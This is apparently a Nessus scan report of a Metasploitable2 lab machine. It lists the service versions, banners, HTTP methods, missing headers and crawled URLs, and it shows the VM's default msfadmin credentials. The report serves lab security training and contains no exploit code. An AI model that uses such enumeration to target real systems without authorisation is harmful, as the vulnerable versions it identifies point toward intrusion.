  cpe:/a:apache:http_server:2.2.99 -> Apache Software Foundation Apache HTTP Server
  cpe:/a:apache:tomcat:5.5 -> Apache Software Foundation Tomcat
  cpe:/a:isc:bind:9.4. -> ISC BIND
  cpe:/a:isc:bind:9.4.2 -> ISC BIND
  cpe:/a:mysql:mysql:5.0.51a-3ubuntu5 -> MySQL MySQL
  cpe:/a:openbsd:openssh:4.7 -> OpenBSD OpenSSH
  cpe:/a:openbsd:openssh:4.7p1 -> OpenBSD OpenSSH
  cpe:/a:php:php:5.2.4 -> PHP PHP
  cpe:/a:php:php:5.2.4-2ubuntu5.10 -> PHP PHP
  cpe:/a:phpmyadmin:phpmyadmin:3.1.1 -> phpMYAdmin
  cpe:/a:postgresql:postgresql -> PostgreSQL
```

```
    cpe:/a:samba:samba:3.0.20 -> Samba Samba
    cpe:/a:twiki:twiki:01_feb_2003 -> TWiki
```

10028 - DNS Server BIND version Directive Remote Version Detection

Synopsis

It is possible to obtain the version number of the remote DNS server.

Description

The remote host is running BIND or another DNS server that reports its version number when it receives a special request for the text 'version.bind' in the domain 'chaos'.

This version is not necessarily accurate and could even be forged, as some DNS servers send the information based on a configuration file.

Solution

It is possible to hide the version number of BIND by using the 'version' directive in the 'options' section in named.conf.

Risk Factor

None

References

XREF	IAVT:0001-T-0583

Plugin Information

Published: 1999/10/12, Modified: 2022/10/12

Plugin Output

udp/53/dns

```
Version : 9.4.2
```

11002 - DNS Server Detection

Synopsis

A DNS server is listening on the remote host.

Description

The remote service is a Domain Name System (DNS) server, which provides a mapping between hostnames and IP addresses.

See Also

https://en.wikipedia.org/wiki/Domain_Name_System

Solution

Disable this service if it is not needed or restrict access to internal hosts only if the service is available externally.

Risk Factor

None

Plugin Information

Published: 2003/02/13, Modified: 2017/05/16

Plugin Output

tcp/53/dns

11002 - DNS Server Detection

Synopsis

A DNS server is listening on the remote host.

Description

The remote service is a Domain Name System (DNS) server, which provides a mapping between hostnames and IP addresses.

See Also

https://en.wikipedia.org/wiki/Domain_Name_System

Solution

Disable this service if it is not needed or restrict access to internal hosts only if the service is available externally.

Risk Factor

None

Plugin Information

Published: 2003/02/13, Modified: 2017/05/16

Plugin Output

udp/53/dns

72779 - DNS Server Version Detection

Synopsis

Nessus was able to obtain version information on the remote DNS server.

Description

Nessus was able to obtain version information by sending a special TXT record query to the remote host.

Note that this version is not necessarily accurate and could even be forged, as some DNS servers send the information based on a configuration file.

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0030
XREF	IAVT:0001-T-0937

Plugin Information

Published: 2014/03/03, Modified: 2024/09/24

Plugin Output

tcp/53/dns

```
DNS server answer for "version.bind" (over TCP) :

  9.4.2
```

35371 - DNS Server hostname.bind Map Hostname Disclosure

Synopsis

The DNS server discloses the remote host name.

Description

It is possible to learn the remote host name by querying the remote DNS server for 'hostname.bind' in the CHAOS domain.

Solution

It may be possible to disable this feature. Consult the vendor's documentation for more information.

Risk Factor

None

Plugin Information

Published: 2009/01/15, Modified: 2011/09/14

Plugin Output

udp/53/dns

```
The remote host name is :

metasploitable
```

132634 - Deprecated SSLv2 Connection Attempts

Synopsis

Secure Connections, using a deprecated protocol were attempted as part of the scan

Description

This plugin enumerates and reports any SSLv2 connections which were attempted as part of a scan. This protocol has been deemed prohibited since 2011 because of security vulnerabilities and most major ssl libraries such as openssl, nss, mbed and wolfssl do not provide this functionality in their latest versions. This protocol has been deprecated in Nessus 8.9 and later.

Solution

N/A

Risk Factor

None

Plugin Information

Published: 2020/01/06, Modified: 2020/01/06

Plugin Output

tcp/0

```
Nessus attempted the following SSLv2 connection(s) as part of this scan:

Plugin ID: 42476
Timestamp: 2025-02-04 15:06:25
Port: 22
```

54615 - Device Type

Synopsis

It is possible to guess the remote device type.

Description

Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2011/05/23, Modified: 2022/09/09

Plugin Output

tcp/0

```
Remote device type : general-purpose
Confidence level : 95
```

49704 - External URLs

Synopsis

Links to external sites were gathered.

Description

Nessus gathered HREF links to external sites by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2011/08/19

Plugin Output

tcp/80/www

```
104 external URLs were gathered on this web server :
URL...                                  - Seen on...


http://TWiki.org/                       - /twiki/bin/view/Main/WebHome
http://TWiki.org/cgi-bin/view/Main/TWikiAdminGroup - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/Main/TWikiUsers - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/AlWilliams - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/AndreaSterbini - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/BookView - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ChangePassword - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ChristopheVermeulen - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ColasNahaboo - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/CrisBailiff - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/DavidWarman - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/DontNotify - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/FileAttachment - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/FormattedSearch - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/HaroldGottschalk - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/InterwikiPlugin - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/JohnAltstadt - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/JohnTalintyre - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/KevinKinnell - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/KlausWriessnegger - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManagingTopics - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManagingWebs - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/ManpreetSingh - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/NewUserTemplate - /twiki/TWikiHistory.html
http://TWiki.org/cgi-bin/view/TWiki/NicholasLee - /twiki/TWikiHistory.html
http://TWiki.org/cgi- [...]
```

49704 - External URLs

Synopsis

Links to external sites were gathered.

Description

Nessus gathered HREF links to external sites by crawling the remote web server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2010/10/04, Modified: 2011/08/19

Plugin Output

tcp/8180/www

```
112 external URLs were gathered on this web server :
URL...                                  - Seen on...


http://Epic-Metasploitable.epicode:8180/admin/error.jsp - /admin/j_security_check
http://Epic-Metasploitable.epicode:8180/admin/login.jsp - /admin/
http://ant.apache.org                   - /tomcat-docs/manager-howto.html
http://ant.apache.org/bindownload.cgi   - /tomcat-docs/building.html
http://apache.apache.org/               - /tomcat-docs/appdev/index.html
http://apr.apache.org/                  - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_proxy_ajp.html - /tomcat-docs/config/ajp.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcacertificatefile - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcacertificatepath - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcarevocationfile - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcarevocationpath - /tomcat-docs/apr.html
http://httpd.apache.org/docs/2.2/mod/mod_ssl.html#sslcertificatechainfile - /tomcat-docs/apr.html
http://httpd.apache.org/docs/howto/ssi.html#basicssidirectives - /tomcat-docs/ssi-howto.html
http://issues.apache.org/bugzilla/buglist.cgi?
bug_status=UNCONFIRMED&bug_status=NEW&bug_status=ASSIGNED&bug_status=REOPENED&bug_status=RESOLVED&resolution=LATER
&bugidtype=include&product=Tomcat+5&cmdtype=doit&order=Importance - /
http://issues.apache.org/bugzilla/show_bug.cgi?id=22679 - /tomcat-docs/ssl-howto.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=34643 - /tomcat-docs/ssl-howto.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=37668 - /tomcat-docs/config/context.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=38217 - /tomcat-docs/ssl-howto.html
http://issues.apache.org/bugzilla/show_bug.cgi?id=39013 - /tomcat-docs/config/context.html
http://jakarta.apache.org/commons       - /tomcat-docs/jndi-resources-howto.html
http://jakarta.apache.org/commons/dbcp/configuration.html - /tomcat-doc [...]
```

10092 - FTP Server Detection

Synopsis

An FTP server is listening on a remote port.

Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0030
XREF	IAVT:0001-T-0943

Plugin Information

Published: 1999/10/12, Modified: 2023/08/17

Plugin Output

tcp/21/ftp

```
The remote FTP banner is :

220 (vsFTPd 2.3.4)
```

10092 - FTP Server Detection

Synopsis

An FTP server is listening on a remote port.

Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

Solution

n/a

Risk Factor

None

References

XREF	IAVT:0001-T-0030
XREF	IAVT:0001-T-0943

Plugin Information

Published: 1999/10/12, Modified: 2023/08/17

Plugin Output

tcp/2121/ftp

```
The remote FTP banner is :

220 ProFTPD 1.3.1 Server (Debian) [::ffff:192.168.51.101]
```

43111 - HTTP Methods Allowed (per directory)

Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes'

in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

See Also

http://www.nessus.org/u?d9c03a9a

http://www.nessus.org/u?b019cbdb

https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006)

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/12/10, Modified: 2022/04/11

Plugin Output

tcp/80/www

```
Based on the response to an OPTIONS request :

  - HTTP methods COPY DELETE GET HEAD LOCK MOVE OPTIONS POST PROPFIND
    PROPPATCH TRACE UNLOCK are allowed on :

    /dav
    /dav/CJUlxuON.htm

  - HTTP methods GET HEAD OPTIONS POST TRACE are allowed on :

    /doc
    /dvwa/dvwa
    /dvwa/dvwa/css
    /dvwa/dvwa/images
    /dvwa/dvwa/includes
    /dvwa/dvwa/includes/DBMS
    /dvwa/dvwa/js
    /icons
    /mutillidae/documentation
    /mutillidae/styles
    /mutillidae/styles/ddsmoothmenu
    /test
    /test/testoutput


Based on tests of each method :

  - HTTP methods ACL BASELINE-CONTROL BCOPY BDELETE BMOVE BPROPFIND
    BPROPPATCH CHECKIN CHECKOUT COPY DEBUG DELETE GET HEAD INDEX
    LABEL LOCK MERGE MKACTIVITY MKCOL MKWORKSPACE MOVE NOTIFY OPTIONS
    ORDERPATCH PATCH POLL POST PROPFIND PROPPATCH PUT REPORT
    RPC_IN_DATA RPC_OUT_DATA SEARCH SUBSCRIBE TRACE UNCHECKOUT UNLOCK
    UNSUBSCRIBE UPDATE VERSION-CONTROL X-MS-ENUMATTS are allowed on :

    /cgi-bin
    /twiki/bin

  - HTTP methods COPY DELETE GET HEAD MKCOL MKWORKSPACE MOVE NOTIFY
    OPTIONS ORDERPATCH PATCH POLL POST PROPFIND PROPPATCH PUT REPORT
    RPC_IN_DATA RPC_OUT_DATA SEARCH SUBSCRIBE TRACE UNCHECKOUT UNLOCK
    UNSUBSCRIBE UPDATE VERSION-CONTROL X-MS-ENUMATTS are allowed on :

    /dav
    /dav/CJUlxuON.htm

  - HTTP methods GET HEAD OPTIONS POST TRACE are allowed on :

    /
    /doc
    /dvwa
    /dvwa/dvwa
    /dvwa/dvwa/css
    /dvwa/dvwa/images
    /dvwa/dvwa/includes
    /dvwa/dvwa/includes/DBMS
    /dvwa/dvwa/js
    /icons
    /mutillidae
    /mutillidae/documentation
    /mutillidae/styles
    /mutillidae/styles/ddsmoothmenu
    /phpMyAdmin
    /test
    /test/testoutput

  - Invalid/unknown HTTP methods are allowed on :

    /cgi-bin
    /dav
```

```
    /dav/CJUlxuON.htm
    /twiki/bin
```

43111 - HTTP Methods Allowed (per directory)

Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes'

in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

See Also

http://www.nessus.org/u?d9c03a9a

http://www.nessus.org/u?b019cbdb

https://www.owasp.org/index.php/Test_HTTP_Methods_(OTG-CONFIG-006)

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2009/12/10, Modified: 2022/04/11

Plugin Output

tcp/8180/www

```
Based on the response to an OPTIONS request :

  - HTTP methods  DELETE  HEAD  OPTIONS  POST  PUT  TRACE GET
    are allowed on :

    /admin/error.jsp
    /host-manager
    /jsp-examples
    /jsp-examples/cal
    /jsp-examples/checkbox
    /jsp-examples/colors
    /jsp-examples/dates
    /jsp-examples/error
    /jsp-examples/forward
    /jsp-examples/include
    /jsp-examples/jsp2
    /jsp-examples/jsp2/el
    /jsp-examples/jsp2/jspattribute
    /jsp-examples/jsp2/jspx
    /jsp-examples/jsp2/misc
    /servlets-examples


Based on tests of each method :

  - HTTP methods GET HEAD OPTIONS POST are allowed on :

    /
    /admin
    /admin/error.jsp
    /host-manager
    /jsp-examples
    /jsp-examples/cal
    /jsp-examples/checkbox
    /jsp-examples/colors
    /jsp-examples/dates
    /jsp-examples/error
    /jsp-examples/forward
    /jsp-examples/include
    /jsp-examples/jsp2
    /jsp-examples/jsp2/el
    /jsp-examples/jsp2/jspattribute
    /jsp-examples/jsp2/jspx
    /jsp-examples/jsp2/misc
    /servlets-examples
```

10107 - HTTP Server Type and Version

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/80/www

```
The remote web server type is :

Apache/2.2.8 (Ubuntu) DAV/2
```

10107 - HTTP Server Type and Version

Synopsis

A web server is running on the remote host.

Description

This plugin attempts to determine the type and the version of the remote web server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0931

Plugin Information

Published: 2000/01/04, Modified: 2020/10/30

Plugin Output

tcp/8180/www

```
The remote web server type is :

Apache-Coyote/1.1
```

12053 - Host Fully Qualified Domain Name (FQDN) Resolution

Synopsis

It was possible to resolve the name of the remote host.

Description

Nessus was able to resolve the fully qualified domain name (FQDN) of the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/02/11, Modified: 2017/04/14

Plugin Output

tcp/0

```
192.168.51.101 resolves as Epic-Metasploitable.epicode.
```

24260 - HyperText Transfer Protocol (HTTP) Information

Synopsis

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

Plugin Output

tcp/80/www

```
Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
SSL : no
Keep-Alive : yes
Options allowed : (Not implemented)
Headers :

  Date: Tue, 04 Feb 2025 16:05:48 GMT
  Server: Apache/2.2.8 (Ubuntu) DAV/2
  X-Powered-By: PHP/5.2.4-2ubuntu5.10
  Keep-Alive: timeout=15, max=100
  Connection: Keep-Alive
  Transfer-Encoding: chunked
  Content-Type: text/html

Response Body :

<html><head><title>Metasploitable2 - Linux</title></head><body>
<pre>

                _                  _       _ _        _     _       ____
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
```

```
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                             |_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


</pre>
<ul>
<li><a href="/twiki/">TWiki</a></li>
<li><a href="/phpMyAdmin/">phpMyAdmin</a></li>
<li><a href="/mutillidae/">Mutillidae</a></li>
<li><a href="/dvwa/">DVWA</a></li>
<li><a href="/dav/">WebDAV</a></li>
</ul>
</body>
</html>
```

24260 - HyperText Transfer Protocol (HTTP) Information

Synopsis

Some information about the remote HTTP configuration can be extracted.

Description

This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive is enabled, etc...

This test is informational only and does not denote any security problem.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2007/01/30, Modified: 2024/02/26

Plugin Output

tcp/8180/www

```
Response Code : HTTP/1.1 200 OK

Protocol version : HTTP/1.1
HTTP/2 TLS Support: No
HTTP/2 Cleartext Support: No
SSL : no
Keep-Alive : no
Options allowed : GET, HEAD, POST, PUT, DELETE, TRACE, OPTIONS
Headers :

  Server: Apache-Coyote/1.1
  Content-Type: text/html;charset=ISO-8859-1
  Date: Tue, 04 Feb 2025 16:05:48 GMT
  Connection: close

Response Body :

<!--
  Licensed to the Apache Software Foundation (ASF) under one or more
  contributor license agreements.  See the NOTICE file distributed with
  this work for additional information regarding copyright ownership.
  The ASF licenses this file to You under the Apache License, Version 2.0
  (the "License"); you may not use this file except in compliance with
  the License.  You may obtain a copy of the License at

      http://www.apache.org/licenses/LICENSE-2.0
```

```
  Unless required by applicable law or agreed to in writing, software
  distributed under the License is distributed on an "AS IS" BASIS,
  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
  See the License for the specific language governing permissions and
  limitations under the License.
-->
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
   "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
    <title>Apache Tomcat/5.5</title>
    <style type="text/css">
    /*<![CDATA[*/
      body {
          color: #000000;
          background-color: #FFFFFF;
  font-family: Arial, "Times New Roman", Times, serif;
          margin: 10px 0px;
      }

    img {
       border: none;
    }

    a:link, a:visited {
        color: blue
    }

    th {
        font-family: Verdana, "Times New Roman", Times, serif;
        font-size: 110%;
        font-weight: normal;
        font-style: italic;
        background: #D2A41C;
        text-align: left;
    }

    td {
        color: #000000;
font-family: Arial, Helvetica, sans-serif;
    }

    td.men [...]
```

14788 - IP Protocols Scan

Synopsis

This plugin detects the protocols understood by the remote IP stack.

Description

This plugin detects the protocols understood by the remote IP stack.

See Also

http://www.iana.org/assignments/protocol-numbers/protocol-numbers.xhtml

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2004/09/22, Modified: 2022/08/15

Plugin Output

tcp/0

```
The following IP protocols are accepted on this host:
1ICMP
2IGMP
6TCP
17UDP
58IPv6-ICMP
132SCTP
136UDPLite
```

11156 - IRC Daemon Version Detection

Synopsis

The remote host is an IRC server.

Description

This plugin determines the version of the IRC daemon.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/11/19, Modified: 2016/01/08

Plugin Output

tcp/6667/irc

```
The IRC server version is : Unreal3.2.8.1. FhiXOoE [*=2309]
```

10397 - Microsoft Windows SMB LanMan Pipe Server Listing Disclosure

Synopsis

It is possible to obtain network information.

Description

It was possible to obtain the browse list of the remote Windows system by sending a request to the LANMAN pipe. The browse list is the list of the nearest Windows systems of the remote host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2000/05/09, Modified: 2022/02/01

Plugin Output

tcp/445/cifs

```
Here is the browse list of the remote host :

METASPLOITABLE ( os : 0.0 )
```

10785 - Microsoft Windows SMB NativeLanManager Remote System Information Disclosure

Synopsis

It was possible to obtain information about the remote operating system.

Description

Nessus was able to obtain the remote operating system name and version (Windows and/or Samba) by sending an authentication request to port 139 or 445. Note that this plugin requires SMB to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2001/10/17, Modified: 2021/09/20

Plugin Output

tcp/445/cifs

```
The remote Operating System is : Unix
The remote native LAN manager is : Samba 3.0.20-Debian
The remote SMB Domain Name is : METASPLOITABLE
```

11011 - Microsoft Windows SMB Service Detection

Synopsis

A file / print sharing service is listening on the remote host.

Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

Plugin Output

tcp/139/smb

```
An SMB server is running on this port.
```

11011 - Microsoft Windows SMB Service Detection

Synopsis

A file / print sharing service is listening on the remote host.

Description

The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2002/06/05, Modified: 2021/02/11

Plugin Output

tcp/445/cifs

```
A CIFS server is running on this port.
```

100871 - Microsoft Windows SMB Versions Supported (remote check)

Synopsis

It was possible to obtain information about the version of SMB running on the remote host.

Description

Nessus was able to obtain the version of SMB running on the remote host by sending an authentication request to port 139 or 445.

Note that this plugin is a remote check and does not work on agents.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/06/19, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

```
The remote host supports the following versions of SMB :
  SMBv1
```

106716 - Microsoft Windows SMB2 and SMB3 Dialects Supported (remote check)

Synopsis

It was possible to obtain information about the dialects of SMB2 and SMB3 available on the remote host.

Description

Nessus was able to obtain the set of SMB2 and SMB3 dialects running on the remote host by sending an authentication request to port 139 or 445.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2018/02/09, Modified: 2020/03/11

Plugin Output

tcp/445/cifs

```
The remote host does NOT support the following SMB dialects :
_version_  _introduced in windows version_
2.0.2      Windows 2008
2.1        Windows 7
2.2.2      Windows 8 Beta
2.2.4      Windows 8 Beta
3.0        Windows 8
3.0.2      Windows 8.1
3.1        Windows 10
3.1.1      Windows 10
```

50344 - Missing or Permissive Content-Security-Policy frame-ancestors HTTP Response Header

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive Content-Security-Policy (CSP) frame-ancestors response header or does not set one at all.

The CSP frame-ancestors header has been proposed by the W3C Web Application Security Working Group as a way to mitigate cross-site scripting and clickjacking attacks.

See Also

http://www.nessus.org/u?55aa8f57

http://www.nessus.org/u?07cc2a06

https://content-security-policy.com/

https://www.w3.org/TR/CSP2/

Solution

Set a non-permissive Content-Security-Policy frame-ancestors header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/80/www

```
The following pages do not set a Content-Security-Policy frame-ancestors response header or set a
 permissive policy:

  - http://Epic-Metasploitable.epicode/
  - http://Epic-Metasploitable.epicode/dav/
  - http://Epic-Metasploitable.epicode/dav/CJUlxuON.htm/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/css/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/images/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/DBMS.php
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/DBMS/MySQL.php
  - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/dvwaPage.inc.php
```

```
   - http://Epic-Metasploitable.epicode/dvwa/dvwa/includes/dvwaPhpIds.inc.php
   - http://Epic-Metasploitable.epicode/dvwa/dvwa/js/
   - http://Epic-Metasploitable.epicode/dvwa/login.php
   - http://Epic-Metasploitable.epicode/mutillidae/
   - http://Epic-Metasploitable.epicode/mutillidae/documentation/
   - http://Epic-Metasploitable.epicode/mutillidae/documentation/how-to-access-Mutillidae-over-
Virtual-Box-network.php
   - http://Epic-Metasploitable.epicode/mutillidae/documentation/vulnerabilities.php
   - http://Epic-Metasploitable.epicode/mutillidae/framer.html
   - http://Epic-Metasploitable.epicode/mutillidae/index.php
   - http://Epic-Metasploitable.epicode/mutillidae/set-up-database.php
   - http://Epic-Metasploitable.epicode/mutillidae/styles/
   - http://Epic-Metasploitable.epicode/mutillidae/styles/ddsmoothmenu/
   - http://Epic-Metasploitable.epicode/phpMyAdmin/
   - http://Epic-Metasploitable.epicode/phpMyAdmin/index.php
   - http://Epic-Metasploitable.epicode/test/
   - http://Epic-Metasploitable.epicode/test/testoutput/
   - http://Epic-Metasploitable.epicode/twiki/
   - http://Epic-Metasploitable.epicode/twiki/TWikiHistory.html
   - http://Epic-Metasploitable.epicode/twiki/bin/oops
   - http://Epic-Metasploitable.epicode/twiki/bin/oops/Main
   - http://Epic-Metasploitab [...]
```

50344 - Missing or Permissive Content-Security-Policy frame-ancestors HTTP Response Header

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive Content-Security-Policy (CSP) frame-ancestors response header or does not set one at all.

The CSP frame-ancestors header has been proposed by the W3C Web Application Security Working Group as a way to mitigate cross-site scripting and clickjacking attacks.

See Also

http://www.nessus.org/u?55aa8f57

http://www.nessus.org/u?07cc2a06

https://content-security-policy.com/

https://www.w3.org/TR/CSP2/

Solution

Set a non-permissive Content-Security-Policy frame-ancestors header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

Plugin Output

tcp/8180/www

```
The following pages do not set a Content-Security-Policy frame-ancestors response header or set a
 permissive policy:

  - http://Epic-Metasploitable.epicode:8180/
  - http://Epic-Metasploitable.epicode:8180/admin/
  - http://Epic-Metasploitable.epicode:8180/admin/error.jsp
  - http://Epic-Metasploitable.epicode:8180/admin/j_security_check
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/Entries.java.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/Entry.java.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/TableBean.java.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/cal1.jsp
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/cal1.jsp.html
  - http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/cal2.jsp.html
```

```
- http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/calendar.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/cal/login.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/CheckTest.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/check.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/checkresult.jsp
- http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/checkresult.jsp.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/checkbox/cresult.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/ColorGameBean.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/clr.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colors.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colrs.jsp
- http://Epic-Metasploitable.epicode:8180/jsp-examples/colors/colrs.jsp.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/dates/date.html
- http://Epic-Metasploitable.epicode:8180/jsp-examples/dates/date.jsp
- http://Epic-Metasploitable.epicode:8180/jsp-examples/dates/date.jsp.html
- http://Epic-Metasploitable.e [...]
```

50345 - Missing or Permissive X-Frame-Options HTTP Response Header

Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

Description

The remote web server in some responses sets a permissive X-Frame-Options response header or does not set one at all.

The X-Frame-Options header has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors

See Also

https://en.wikipedia.org/wiki/Clickjacking

http://www.nessus.org/u?399b1f56

Solution

Set a properly configured X-Frame-Options header for all requested resources.

Risk Factor

None

Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

